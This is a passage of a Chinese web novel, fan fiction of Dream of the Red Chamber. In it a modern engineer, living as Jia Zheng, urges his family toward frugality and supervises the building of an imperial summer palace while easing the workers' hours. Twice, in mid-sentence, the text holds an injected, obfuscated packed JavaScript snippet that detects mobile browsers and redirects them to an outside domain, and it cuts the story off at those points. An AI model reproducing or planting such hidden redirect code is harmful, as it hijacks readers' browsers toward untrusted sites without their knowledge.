贾敏缠绵病榻几年,前年也走了。每每想到小女儿,贾母总是要难过半晌。只是她天生性格豁达,不然这白发人送黑发人的苦楚,定能让她更显苍老。现在她年纪也大了,只有两个儿子在跟前,自然是更喜欢热闹,愿意他们时常与她亲近的。 于是她听了贾政的提议,很高兴地应了。就带了孩子们,跟了几个丫鬟,由贾政王夫人一左一右扶着她,往园子里去了。 盛夏的早晨,贾府的花园里还很凉爽。一株株高大乔木洒下片片阴凉,又有亭台楼阁可以休息遮阴,正适合消暑散步。 一行人刚走到花园,孩子们就跑去折花喂鱼去了。贾母不放心,就想打发鸳鸯去照看着她们。 贾政却说“宝玉那个顽皮性子,丫鬟们肯定镇不住他,不如让夫人过去看着,自己母亲他定要怕几分的。” 贾母本来觉得派个丫鬟去看着也就罢了,既然贾政先提出来了,就依了他。 王夫人见状,打算带了丫鬟前去。对贾母福身时,她见贾政对她笑,“花园里高高低低的,夫人慢些走。” 王夫人笑着应了。 她没有跟得很近,只让两个丫鬟跟紧些就好了,她知道有探春在,宝玉也不会出什么事。 王夫人想到,贾政应当是与老太太有话要说,她不必去听,走开些就是了。 4. 忧家业贾政劝老母 这边就剩了贾政搀着贾母散步。走过一处亭台时,贾政扶着贾母坐了下来。 他随意指了指这园子,笑着说“母亲可还记得儿子小时候也像宝玉探春那样,在园子里跑上跑下,那时母亲总说儿子简直像农家的小子!” 贾母似也在追忆,回道“是啊,你小时候比现在的宝玉还要像个皮猴,只是后来进了学,性子也就稳重多了。说起来,宝玉还是最像你了。” “这么多年过去了,儿子成了家,有了子女,现在又有了孙辈。贾府家大业大,都是母亲辛苦操持的福报。只是儿子终究不成器,虽自幼读书,但没能从科举入仕。虽官职在身,但也只是一个闲职罢了。没有为母亲,为贾家挣得些许荣耀,儿子很是羞愧。”贾政说罢,单手扶额,看着地面。 “你无需如此,咱们这样勋贵人家,从科举入仕只是锦上添花罢了。读书功名只是平民之家看重的,官职更是次要。就说那些一品大员,哪个敢小瞧咱们荣国公府呢?贾家一门两国公,这是其他人家无法比肩的荣宠!”贾母笑道。 又想到贾珠,贾母继续劝慰“依我看呢,等珠儿好起来了,你也不要再逼着他日夜读书,只管养好身子,做个富贵闲人有什么不好呢?就算宝玉日后大了,我也想着他能一生富贵顺遂就好了。” 贾政点点头,回道“母亲说的在理,若咱们家的子孙们真的都能富贵顺遂过一生就好了。只是无论多么富贵的人家,若是后继无人,自然也就渐渐衰败了。” “你的意思我明白,只是做父母的除了对子女多加管教又能如何呢?能不能成器,也是天注定的。珠儿之前被你管教的得了重病,之后再考怕是不成了。还有你那敬大哥,已然中了进士,却自愿去道观里修行了,还不是随他去了。这就是命里无时莫强求啊。”贾母叹道。 “除了后继无人,凡是豪门望族,往往还有另一要害之处···”贾政看了看贾母,欲言又止。 “你有什么就直说吧,你今日把他们都支走,不就是想与我说些贴心话,当母亲的还不了解你吗?”贾母神色平和,并没有不高兴的地方。 贾政见贾母如此,也就继续说了。 “那便是人丁倍增,豪奢淫靡,入不敷出,为了维持表面光鲜,典当度日,继而衰败。甚至大厦倾颓,只在片刻。”贾政沉声说道。 贾母眯了眼睛,半响才问道“是不是朝堂上传了什么消息?” 贾政为了打动贾母,故意要把话说得严重些,很快就想出了一个托辞: “前些日子,有人控告吏部钱郎中买卖官职,以此牟利,贪污巨大。这郎中正是靖边侯钱家现任侯爷的侄儿。虽然后来查清楚这些并不完全属实,钱郎中只是略贪了一些银两,平日里骄奢淫逸倒是真的。不巧他因一伶人惹怒了一个读书人,因此才被诬告。”贾政看贾母听得认真,于是他继续说道。 “虽然查清楚了,但圣上的处置却耐人寻味,他对钱郎中处以重罚,还在朝堂上痛骂了他叔叔靖边侯,六十岁的老人了在圣上面前痛哭流涕,连连告罪。 可是圣上却轻轻放过了那个诬告钱郎中的人。于是便有传言说,圣上已经看不惯依靠祖辈功绩而地位尊崇的人家,认为这些人家都安富尊荣,无可用处。圣上初时暗暗忍耐,如今皇位已稳,要着手处理这些豪奢大族了。” 贾政说罢,看向贾母,她的神情略有惊疑,问道“果真如此吗?我整日待在内宅,却没听到。” 贾政点了下头,继续说“因此这几日儿子寝食难安。咱们贾家自先祖立了军功,一跃而起,太祖赏封一门两国公,的确是天大的荣宠。只是自祖父后,就再无后辈有过丝毫功绩,这尊荣也就越名不副实了。自古以来,即使是皇帝的血亲,后代荣宠也不一定长久,更何况咱们这些异姓呢?” “儿子又吩咐人探访了贾家一些远支的亲戚们,有的做派甚至比咱们两府都更夸张。奢侈靡费,欺男霸女,更不必说。这其中难免有人因此惹了权贵,被传到圣上耳朵里,让圣上厌恶咱们家就不好了,也许有一日,圣上便拿贾家开刀了···” 贾政说罢,长叹一口气。 饶是贾母见惯大风大浪,此时被贾政真假参半的话一劝,也有些后怕,又问“不是还有北静王吗?咱们祖上素来与北静王家交好,同是四王八公,若出了事,他们肯定也会出手相助。” “母亲可还记得忠顺亲王的事?”贾政此话一出,贾母立刻也想到贾家和忠顺王府曾经的恩怨。忠顺王爷皇恩正隆,若是看到贾家落难,肯定会落井下石。 贾母用了杯茶,缓了一会儿,才开口说道“那么以你之见,应当如何呢?” 贾政不认为贾母已全然听进去了他的想法,半辈子都在贾府繁荣期的贾母不会那么容易被吓到。她这样问,半是真情实感出自对儿子的信赖,半是试探,看看贾政接下来要说些什么。不论如何,先听听,也无妨。 贾政抿了口茶,润润嗓子,才开口道“儿子觉得虽然现在只是一些征兆,但咱们不可大意。贾家家业大,若真等到事情明明白白的摆出来了,那时说什么也就迟了。所以儿子想,不如从现在开始整顿家务家风,严管上下,杜绝奢靡之风。” 贾政虽说得简练,但贾母并没有因此宽怀。 她知道,若是真的施行起来,只怕是上上下下都要怨声载道,中间管理的不好,更会内宅动荡不安,产生更多流言。 真的要为了一些所谓的征兆而做这么大的改变吗?贾母心中忍不住的起疑。而且这样巨大的变革也许会使贾府更加速衰败。 贾政手中端着茶杯没有喝,暗暗看着贾母的神情。他见贾母听了自己的话后没有立刻反对,而是陷入了沉思,就知道方才说的那些话贾母多多少少听进去了一些。 所谓事缓则圆,改变也不急一时半刻。 因此他语气柔和,宽慰母亲道“母亲也不用太着急,儿子今天说这些只是有感而发。咱们贾府若能有些改变固然是好的,并不是几天几月之内就必须做出什么惊天动地的改造。只是想着咱们府上在朝中虽然没有实权人物,但若能管好内外,在家风上与圣上的偏好一致,想必日后也没什么大的忧患了。” 贾母见贾政松口,她也属实松了一口气。 她喜欢稳健行事,不愿意打没把握的仗。因而也不觉得贾政所说的隐患有非铲除不可的必要。 思及此,贾母找了个台阶,她说道“你之后与你夫人商议一下,咱们内宅里有什么铺张的地方可以减免掉的,就先从这一项开始也可以。只是要循序渐进,不要急躁做事就是了。” 贾母找了个看似简单但不好处理的事情。一则,她要借此看看儿子的决心,二则要试一试府里上下的反应。 贾政闻言,也知道今天的谈话只能到这里了。贾母也许只能听到他话中二三分的含义。但这不重要,只要贾母心里能有一点这样的念想就可以了。豪门大族的老太君不是那么容易改变的,还是要徐徐图之。 因此,尽管收效甚微,贾政也不气馁。 于是他躬身作揖,说道“母亲深明大义儿所不及,儿子代贾家上下多谢母亲。也多谢母亲体贴儿子。”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947703|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢起身扶起贾母走出了凉亭。 日头已高,太阳下开始透出热气,贾政打算把贾母送回屋里,免得中暑。 没走几步,隔了老远,他就看到宝玉探春和惜春三人笑跑着过来了,身后不远还跟了王夫人迎春与几个丫鬟们。 贾母也看到了,她笑着说道“宝玉,慢点跑,小心又跌跤!” 话音刚落,宝玉和探春已然到他们跟前了。 宝玉额头都是汗,衣衫上有零星草叶。一看就是刚才没少玩闹,现在还大口喘着气呢。倒是探春衣衫也比较齐整,只微微有些气喘。一停下来,就与宝玉一起行了礼。 贾政看着稳重知礼的探春与活泼好动的宝玉,不禁想到“果然说是三岁看到老,这两个孩子才这么大,性格就已很分明了。” 贾母那边忙让丫鬟伺候宝玉探春坐下饮茶。祖孙几个又坐了下来。 “老太太,我和三妹妹刚才在栾树下看到好漂亮的一只鸟儿,只是不知道是什么鸟。它见我们看它,竟然啾啾叫了几声,然后飞走了。还掉了一根羽毛,您看!”宝玉从口袋里小心拿出一根色彩斑斓的鸟羽,献宝似的拿给贾母看。 贾母最是看重宝玉的这份孝心,便笑着把他揽到怀里,说“宝玉去玩还记得带玩意儿回来给我看,真是没有白疼你。” 一旁的探春也凑趣说道“二哥哥说他在书上看了,鸟羽可以做笔用,他要拿了这支羽毛笔写字画画呢!” “那好极了,宝玉做好了,先给我写一个匾额来,就挂在我那屋子!”贾母见探春也乖巧大方,就摸摸她头,也把她揽到怀里。 贾政看到祖孙三个其乐融融,不禁又感叹起贾母对宝玉的宠爱来。全府上下独一份的宠爱,怪不得后来把宝玉养的不谙世事,不晓民生。以后一定要找机会把宝玉带到身边,由他养育。 这边正欢声笑语,王夫人也回来了,她一左一右牵着迎春和惜春。 “宝玉在园子里沾了一身土,我方才说了他两句,他蛮不乐意,现在又躲到老太太怀里撒娇呢!”王夫人说罢,见宝玉半张脸埋在贾母怀里,心中更添几分好笑。 “方才老太太还说呢,宝玉现在这样顽皮活像是我幼时的样子,也怪不得他。”贾政笑着说。 宝玉听了很是纳罕。 “老爷幼时也顽皮吗?”宝玉犹豫了一下,见气氛和谐,还是半开玩笑半认真地问了出来。 “怎么还敢编排起老爷了!”王夫人听到,先是出言制止。她担心宝玉惹了贾政不高兴。毕竟贾政这几日对宝玉实在是好脾气,不可再越界了。 “不妨事,让宝玉听听他老子的那些事情,也没什么关系。”贾母见宝玉有些后悔说那话,就开口宽慰,摸摸他头,捡了一些小孩子常有的淘气事说了。 探春和宝玉两个都睁大眼睛,听得津津有味,似是在想:原来一向严肃古板的父亲,幼时也曾淘气过呢!真是好玩! 贾政只是笑着看他们祖孙三个说得热闹,不觉得有什么难堪的。没有淘气过的童年才是不完整的,他这样认为。小孩子,就应该活泼顽皮一些,太懂事乖巧的小孩,只是在压抑自己的天性。 而王夫人坐在一边,也没插话,端着杯茶润喉,迎春和惜春靠着王夫人认真听贾母讲故事。王夫人对孩子们的好奇劲儿很是喜欢。她见过年轻时的贾政是怎样的少年风流,因此毫不怀疑幼时的他又是如何的顽皮跳脱。 阳光穿过榆树层叠的叶片,在地面洒下斑驳的光影。 在热浪未到之前,亭内的祖孙三代仍在诉说着过去的故事。 5. 建行宫贾政初当差 当日晚饭仍是在贾母那里吃的。饭后回到自己院子里,贾政王夫人探春三个便一起围坐在炕桌前饮茶。 探春上午在园子里与宝玉耍了一阵,现在已经有些困倦,只是强撑着。晚饭刚撤,宝玉已被贾母强催着休息去了,探春则一直忍耐。但毕竟年纪还小,此时贾政见探春的小脑袋一点一点的,知道她已经困极了,就眼神示意探春的奶娘把她送回屋子睡觉。 等奶娘把探春抱走,屋里就剩了贾政夫妇。 正是个好时机,贾政要问王夫人一些事情,并说一点上午他与贾母谈话的内容。 “夫人,年中已过,不知道今年咱们庄子里的事务可还顺利?那些田地收成又如何呢?”贾政想先打听一些贾府的收入情况。他知道二房这边没有爵位的收入,只有田庄铺子这些产业收入。 王夫人见贾政难得关心金银琐碎之事,一时不知道他为何有此一问,只好笼统说道“从年初起,我因为身子也不好,就让凤丫头管家了。只知道府上的一应用度都很宽裕,也没见哪里短了银钱的。想来应当都很顺遂吧。” “那么去年各处的收成如何呢?”贾政又问道,有钱花并不代表钱够花,书中写了王熙凤靠放印子钱补贴家用,希望现在还没有到这个程度。 “去年年成也不是很好,庄子上的收成与地租大约有三万,铺子那边大约也有三万,再算上其他的杂七杂八的,大约是八万。” “那么去年开支多少?”贾政又问。 王夫人犹豫片刻,方回答道“七万八千多。还有给元春送了几次,算下来也有五六千。这个没有记在公帐里,是从咱们私库出的。” 王夫人管家已有十多年,但那时府里人丁没有现在多,各处的收成也比现在好,因此每年都是有所盈余的。但这两年来,又添了不少主子下人,各处的田产却因为两次天灾,租金收入少了许多。因此银钱上也就有些吃紧了,但还能周转得过来。 年初时,她害了风寒,卧床了一个多月,就让侄女王熙凤先帮着管家。没想到王熙凤实在能干,一个月下来,上上下下,里里外外没有不服帖的。而且,她也看了账本,那个月连各处的收入都比之前多些。等王夫人病好了,她索性与老太太商议过,就正式让王熙凤管家。 一则,因为年纪渐长,又要应酬外面的事,她实在感觉精力有限,无法兼顾家务琐事。 二则,王熙凤乐意管家,并且也能做得很好。那么为何不就让她来做,也两全其美呢? 贾政听了暗暗心惊,这个时代一个普通家庭一年的用度宽裕些也就是二三十两银子,贾府年收入足足有八万之多,还不够花,可见其中糟蹋了多少,又有多少是被一层层的奴才盘剥了去。 “这两年田庄的收成不好?”贾政又问。 “前年京郊那边遭了旱,去年金陵又闹水灾。管事的说地租也不好收了。”王夫人谨慎回答。 “京郊的田庄现在谁管?”贾政有些怀疑是不是管事的手脚不干净。 “是金陵那边管事乌进忠的本家人乌修业,乌家是贾家的老人了,起初做佃农,也很本分。过了两代发达起来了,就开始帮咱们管理田庄事务了。”王夫人把她所知的都说了。 “东府的田庄产业也是乌家的人管?” “是乌进忠的亲兄弟乌进孝。” “咱们宁荣两府这么大的产业竟然都是乌家人管理。”贾政听到这,就猜测也许是乌家人有问题。他哼了一声,也没继续说话,坐在那里继续思考。 王夫人见贾政生气,也有些惴惴不安。 她起身给贾政杯中添了茶,端给贾政,宽慰道“老爷别生气,乌家人是咱们家一直用的,想来不会做些不干净的勾当。” 王夫人成日在深宅中,自然也想不到这些大族豪奴在外是如何仗着主家的气势,行无耻之事的。 贾政接过茶来,笑了一下,又说“夫人,你把这些豪奴想的太好了,他们只会比咱们能想到的可恶百倍,不然你以为他们是怎么发家的呢?”他轻抿一口,放下茶盏。 “那么我明日同凤丫头说,把这家人都换下来。”王夫人揣测贾政的想法,先提了出来。 “那倒不用,等我这几日找时机会会他们再说。”贾政说罢,心里也有了主意。 “还有一件事要与夫人商议。这几日我越发觉得咱们府里上上下下排场过甚。一则无端浪费不少银钱,害得府上财政吃紧。二则,今上不喜奢靡浮夸之风,咱们这样排场,怕是会惹得圣上看不过眼。元春在宫中做女官已有两年,若是咱们家在外面让圣上不喜,想必元春在宫里的日子也不好过。”贾政边说边看王夫人神情。他说前半段时,王夫人只是恭敬又耐心地听着,但一提到圣上与元春,王夫人就有些焦急了。 贾政知道,王夫人的软肋是子女。她和贾母一样是不喜改变的深宅贵妇人,但只要涉及孩子们的事,王夫人都会格外关心。 王夫人忙说道“元春入宫已有两年,我也只是每年春节可以见她一面,家信也不经常收到。若是咱们府里太过浮华影响到了元春在宫里做事的话,咱们可就尽快改了吧,也免得她,在宫里受苦···”说到这,王夫人忍不住落了眼泪,自己转过身拿帕子擦了。 “夫人莫忧。”贾政见王夫人慌张到落泪,有些不好意思用元春的事情促使王夫人同意他的计划。即使他说的都是事实,那也让他觉得羞愧,他不能既利用又伤害一个母亲的爱女之情。 贾政柔声说道“这几日朝堂上有些消息,圣上很明确的表示出不喜欢豪门大族的浮华风气。因此我总担心贾家因此遭祸。我知道元春在宫里的日子不好过,当初让她进宫也确实对不住她。不应该让她一个女子为家族牺牲,而大把的男子坐享其成。所以我想到既然如此,不如趁这机会严管家务,上上下下,彻底改造一番。” 王夫人在贾政面前不好太过伤心,她已经止住了眼泪。但听到贾政如此坚决的计划还是不免惊讶,又问“老太太那边怎么说呢?” “老太太没有完全同意,她让咱们看看那些地方可以省俭的,先免除了也可。”贾政见王夫人不再流泪,也松了口气。 “只是···”王夫人犹豫了一下,还是说“还有两个月就是老太太的七旬寿辰了,怎么可以省俭呢?” 贾政一听,颇有些不知所措。本朝重视孝道,母亲的七十寿辰,儿子反而不给大操大办,若传出去,他的官也做到头了。 思考了好一会儿,贾政闷闷说道“那么夫人先考量着府上有哪些地方可以省俭的,等老太太寿辰过后,咱们再徐徐图之。” 离贾母寿辰不到两个月了,他在此时若要改革,里外都不会同意,更何况还有那个大哥,只会更难缠。 贾政深深叹了一口气,看来今天一整天的口舌,算是白费了。一次寿辰,大办十天,银钱花了多少还是次要,贾府的奢靡风气在京城肯定又要扬名了。下人们的脾性也是慢慢养成的,一次次的宴席养起来的做派,岂是几天能改变的了的? 王夫人看贾政有些颓丧地低着头,就起身坐到他身侧,为他揉着太阳穴,柔声宽慰“老爷不要心急,这几日我会留心的。” 次日清晨,贾政的小厮伺候他更衣时,问道“老爷今日是直接去衙门当差,还是先去老太太那边请安?” “时间还早,先在院里用饭,随后去老太太那边请安。” “那么我去回太太。” 早饭仍是在王夫人屋中,一家三口用了饭。去请安时,贾政对老太太说明情况,就匆匆要走。离开时见探春不舍地看着他,贾政就摸摸她头,说等着他一起用晚饭,随后笑着走了。 贾政现任工部员外郎,五品官,属于工部四司两库中的营缮司。主官是郎中李师德,司里与他平级的还有两位员外郎,是次官。 贾政到时,员外郎关永平已坐着喝茶了。他见贾政来了,起身招呼道“政公这几日可好?” 贾政忙拱手回了道“家中一些琐事耽搁了两日,没有大碍,多谢关兄挂怀。”他们二人虽是平级,但贾政可是荣国府的话事人,因此关永平对贾政也很是亲热。 “政公听说司里的事情了 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“今日找他们来是因为咱们司里出了一件急事,想必你们都知道了。”李师德抿了口茶,继续说道“之前负责督造含凉殿的员外郎刘怀义突然病重,无法主持大事。但是大殿事急,这是圣上登基以来第一次兴修宫殿。本来我想由我来亲自督造,只是我新又应下了封尚书交给我的一件要事。所以含凉殿一事只能从列为中选一位出来负责。”李师德说罢,表情严肃的看向几位下属。 督造含凉殿不是好差事,而且还是已经修了一多半的。贸然接下,万一有问题,到时按期无法交付或是之后出了什么问题,那就是大罪。更何况今年暑热比去年更盛,含凉殿在京郊,距离又远,每天在外顶着烈日监察施工,没人愿意做。 因此这几个人听了李郎中的话,都面露难色。一边的贾政的确急于找个机会在圣上那边做个好表现,只是看看众人的表情就知道,这不是个好差事。 “我听说员外郎刘怀义先前素来与政公交好,想来政公对含凉殿建造一事肯定颇为熟悉。”丁谦看看李师德表情,开了口“不若请政公接下此事,肯定要比其他人做起来更得心应手,如鱼得水。” 贾政不清楚自己是否与刘怀义交好,但肯定与这个丁谦有些矛盾。 “只是我听说政公这几日家中也有要事,怕是不太方便。”关永平见贾政被推出去挡枪,就对李师德说道。 “存周家里的事要紧吗?”李师德语气亲切,问了贾政。他素来喜欢贾政稳重谨慎的性子,在工部做事,很需要这种人。所以他这次有意让贾政来做的。 贾政看这情况,就知道郎中早就属意他来做事,带另外两个人来,只不过是以防万一的备选。思及此,他起身拱手回道“下官家中小事,不足挂齿。愿请李郎中把这件差事交由下官,定不负圣望。” 另外几人见贾政答应得痛快,也就纷纷附和了。 李师德很是满意,他扶了贾政一把,笑着说“我素知存周稳重谨慎,平日里交由你的公事都做得很好。那含凉殿一事就由你多费心了,一定要按期建成,不出差错啊。” 贾政慎重点头,另外几人也起身对他说了一些勉励的话。 待李师德与另两位员外郎离开后,贾政就找了自己的桌案坐下,想做些准备。 “政公对含凉殿一事了解多少?”关永平问道。 见贾政摇摇头,关永平急切说“那么何故冲动应了呢?” “刘怀义这人做事并不妥帖,含凉殿又是圣上的避暑宫殿,万一他之前出了差错,以后岂不是要你受罚吗?” 贾政见关永平这几句话确实是为他着想,就微笑宽慰道“关兄莫为我着急,我既然答应,就有几分底气的。” 关永平见贾政表情沉着,自己也冷静下来,想起来贾政素来稳重,不可能冲动做事。 “那就好,这几个月你要辛苦了。” 贾政笑着谢过。 随后他派人找了督司,营造,砖木几科的主管询问事务。这几科的主管都是从底层选拔上来的,都对营造与砖木事务十分精通。 这几位主管见贾政问的几个问题切实又紧要,也都不敢有丝毫遗漏,一一禀明。 问罢,贾政也放下心来。 他想明白了一件事,学土木工程的人到古代的确大有前途。 6. 忽怜长街负重民 上午,贾政向各科的管事详细问了含凉殿的进展。 宫殿主体已经完成,除了内设还有一件要事没有完成,整体的制冷系统还有些混乱。 之前的刘怀义并不很信任这几位管事,他自己对营造避暑宫殿一事也不太通,他不知道最主要的部分就是如何实现冷水循环,达到制冷的目的。 他只以为宫殿建在京郊,依山傍水,已经可以避暑,因此把重心放在了建造宫殿上。但却不知工匠们有技法可以做到处在殿中,如在冰室的效果。 现代人贾政最知道空调对于过夏天的重要。于是经管事一说,他也就明白了目前的主要任务是什么。 上午他们在一起研读了之前管事做的笔记,已经很是详细。贾政前身在现代时不仅读了土木工程的硕士学位,实操经验也很是丰富。因此对于古代建造避暑宫殿,只要深入了解过后,上手也会很快。 于是贾政直接安排下午几人去现场勘测。最好这几日就把图纸画出来,着手搭建。 只是京郊路远,骑马往返也需要两个时辰。他想到,速度快些,应该可以赶到城门闭时回来。 出发前,贾政派小厮回府向王夫人传话,说他今日衙门事忙,也许回家晚些。若是城门关了还不见回来,那就不用等他了。 为赶时间,贾政一行也不乘轿,几人均是一匹快马,不到一个时辰就到了京郊的施工地。 含凉殿的选址很是巧妙。青羊岭前,地势平阔,面朝北土城河,依山傍水。既保障了视野,也保障了安全。 贾政骑马翻过一片山丘,就看到了不远处已经完成大半的含凉殿。他第一次真切体会到什么叫做帝王气象。在生产力低下的现在,耗费巨大的民力修建宫殿,也只有帝王才能这样做。 眼前的宫殿并不很奢华,但却极庄严雄伟。待内饰外饰完全做好之后想必会更显气派。 贾政想到:即使今上不喜浮华,偏好朴素,但皇帝避暑用的宫殿又怎么会寒酸呢?皇家该有的排场断不会少的,下面的官员也不会傻到真的修一栋不起眼的小房子来交差的。 一行人到了工地,匠人们顶着烈日仍在做工,旁边站了许多手拿鞭子的衙役,不时呵斥一声,不让他们松懈下来。刘怀义虽不管事了,但这里仍是井然有序。是之前刘怀义提拔的一个有经验的匠师在负责。 这位匠师名袁三保,家里世代都是匠人,他自己也自小就跟着长辈师傅们做活,小到修挖水渠,大到营造宫殿,几十年来他都精通了。只是自古匠人地位低微,他官运也不好,因此一把年纪了还是只能做个副手。 袁三保看见为首的贾政衣着不凡,猜测应该是工部新派来主管事务的。因此贾政一行刚一下马,袁三保就迎上来行了礼。 “大人可算是来了,刘大人走了之后这几日由下官袁三保暂时负责。大人有何吩咐,下官立刻去办。”之前刘怀义每次来工地上都是说个要求就走了。过几日再过来看一眼。因此袁三保也以为新主管贾政又要有什么新花样,也是说说就走罢了。 贾政见眼前人身形魁梧,应当原本是匠师,被提拔起来做的管事,对他也有几分尊敬。忙扶了起来。 “从今日起到竣工之日,只要我有时间,我会每天都在这边亲自监督的,还希望袁管事可以多多配合。”贾政见袁三保神色略有惊讶,也没有说什么。 “如今工事进展如何?”贾政问道。 袁三保忙详细说了。贾政见他说的与上午司内几科的管事说的大体一致,满意地点点头。 “袁管事对于含凉殿的制冷系统有何看法?”贾政想试试此人的能力。 “回大人,先前凡是避暑宫殿的建造主要在于如何实现制冷。此地背山面水,北土城河的源头水流虽不大,但也够用。 初时,下官接到这个差事之后就来考察过。下官认为,需要先造一个大型水车,将截取的水流不断送到屋顶,并在屋顶各处铺设管道,任其沿屋檐直下,形成水帘,这样就可以激起凉气,降低殿内的温度。”袁三保详细回答,忐忑等待着贾政的回应。 贾政很是满意,这种以水车输送流水至屋顶降温的方法也就是他们先前在古书中查阅到的,不仅与此地的环境相适应,并且效率最高,费用最少。看来这个匠人的确很有才干。 “那么你认为截取的水流如何降温呢?”贾政又问道。 “让水流流经一层冰窖即可。”袁三保又回答。 很好,连这个也考虑到了,贾政连连点头。“如此看来,接下来的工程你很能胜任,便继续由你负责,凡重大决策经由我的批准后,你便可以全权施行了。” “定不负大人重托。”袁三保郑重回答。 “将我们上午写的东西拿来给我。”贾政向身后的小厮说道。 “大家进棚内商议。”贾政接过图纸,对袁三保与几位管事说道。 待众人在棚内坐定,贾政开始分别安排。 “接下来三个月,我们的工程主要内容有这些。蓄水,制冷,制造水车,铺设管道,这是最重要的工程。这部分由袁三保和营造,砖木两科的管事负责。袁三保三日之内把图纸画好,你们商议后,拿来给我看过,就可以着手施工。”贾政说道。 被点到的三人接了任务。 “与之并行的是大殿内饰外饰的陈设装饰,这部分由督司科的管事负责。”贾政看向督司科的管事范远,“你先做室内陈设,等他们把管道等铺设好后,让砖木科的管事协助你,再做室外。切记,要做到清简雅致,不可浮华过甚。” 二人点头称是。 见四人的任务都妥善分配后,贾政又说道“此外,还有一件事。” 四人都神情认真地看向贾政。 “除了以水车送水制冷,我们还需要做一个机械风力装置,也就是送风到大殿。这样风吹水帘,室内会更加清凉舒适。这部分的图纸由我来亲自设计。等图纸完成后,也由袁三保来负责施行。” 袁三保认真点头应下了。 “那么,你们几个可以开始商议了。” 留下四人在棚内商议后,贾政带着小厮出了凉棚。 他想在这四周走走看看,考虑风力装置如何设计。 外面太阳炙烤着大地,毫无遮挡下,热浪一层层翻涌上来,贾政才转了片刻就有些口干舌燥。 工人们一个个挥汗如雨,人人身上都晒得片片红斑。所谓“足蒸暑土气,背灼炎天光。”就是如此景象了。 离他不远处有个工人突然晕倒,惹得旁边的守卫抽了他一鞭子。守卫见他没有反应,知道是晕过去了,就把人拖到凉棚下,往他脸上浇了一瓢水,便不再管他,又去监工了。 贾政全程目睹了这情景,心中更是难受。这些工人一半是周边征召的百姓,一半是狱中罪状较轻的犯人。在这个时代,这就是平民需要经历的生活。 贾政深深叹了口气,随机招手叫过来了一个守卫,问道,“工人们多长时间休息一次,每次休息多久?” “回大人,每三个时辰休息一次,每次一刻钟。”守卫回答。 “那么每日上工几个时辰?”贾政又问道。 “八个时辰,中间半个时辰用饭。” 贾政又是叹气,闭上眼睛摇了摇头。他思考一会儿,说道“叫袁管事来。” 袁三保接了消息马上赶到了贾政跟前,恭敬等着指示。 “袁管事,吩咐下去,为防止中暑误工,从今日起,工人们每日分为两班,接替上工。每班次每日上工四个时辰,每七天两班轮换一次。同时,每个时辰休息一次,每次一刻钟。再多搭建凉棚,需要足够供所有工人休息乘凉。预备足够多的清水与解暑汤,休息时可以饮用。”贾政详细吩咐道。 “可是大人,这是否太宽了些,工人们被养的更懒散了怎么办,以前都没有过这个先例呐!”袁三保虽然很惊喜贾政的好心肠,只是作为管事,他也很担心工人们的服从性。 “除此之外,再找几位大夫过来,也是轮班日夜守在这里,预备随时为中暑的工人看病。”贾政不理会他的问题,继续说道。 “至于额外的费用,你先从工程的款项中支用,如若不够,直接来找我支取就是。” 袁三保犹疑地应下了。 “至于你担心的问题,俯首听来。”贾政眼神示意袁三保。 袁三保忙靠近贾政,听他吩咐。待他听了贾政的话后,心里便安定下来了。 他喜笑颜开地站到常用来传话的高台上,经由守卫一句句把贾政刚才吩咐的事情说给了工人们。 工人们听了,欢呼起来,喊道“多谢青天大老爷!”在他们心里,凡是心里想着百姓的官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947705|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是青天大老爷。 “还有,每日每部可有三人请病假,需由大夫诊断后方可休息。额外的也可向各部的卫士说明情况,同样需由大夫诊断。如若被查出有人故意犯懒装病,不好好干活,那么这个部当天就恢复成八个时辰的上工时间。”袁三保严肃道“你们可不要辜负了贾大人的一片好心啊!” 众人都欢呼称是。 工人们人多,本就是分成各部来管理的,每部一百人。贾政这个方法既考虑到了生病的工人,也能有效避免有人故意装病偷懒。 贾政见袁三保正与众守卫说明具体如何安排轮班与休息的事情,就不再旁听,走开了。 他没有在工地上巡视,而是与小厮书文走到了山边。 宫殿距山不远,大约百米。贾政沿着小路上山,想站在高处考察。 路很窄,不仅杂草丛生,两边灌木荆棘也有很多,走起来不太容易。 贾政见书文有意阻拦,不想让他上山,他只是笑着说“我肯定是要上去的,你既然担心,那么就走到我前面帮我避开荆棘就好。” 如果贾政今日不小心脸上被划了口子或是衣服破了,书文回去免不了挨板子。贾政不想他为难,只好这样说。 书文听了,从地上捡了一截粗一些的树枝,恭敬说道“山路崎岖,奴才在前面引路,抓着树枝,老爷握住另一端,免得跌跤。”贾政笑着点头。 主仆二人爬了小半个时辰才到一个小小的平台上,可惜这里位置不好,不聚风。贾政的身子养尊处优惯了,此时早已大汗淋漓,书文只是喘气粗些,体力尚可。歇了一会儿,贾政见太阳斜斜射进树林,知道还有点时间。于是手指着不远处山谷上的一条小路,说“走这里。”二人便沿着路继续走。 不一会儿,二人就走到了山谷处。这里两山环绕,距含凉殿也近,是最理想的建风力装置的地方。大致原理就是上午山顶气温高,风从山谷向山坡吹,并且还有由四周汇入山地的谷风。 这种装置与大气环流的过程是因地制宜的,不是每个地方都完全相同。因此贾政需要亲自勘探,才能保证万无一失。 贾政在书文还来不及阻止时就坐在了地上。 席地而坐,贾政闭上眼睛,感受着山谷的清风带来阵阵凉意,吹干脸上的热汗。 贾政歇了一会儿,见太阳开始西斜,就起身准备与书文下山了。 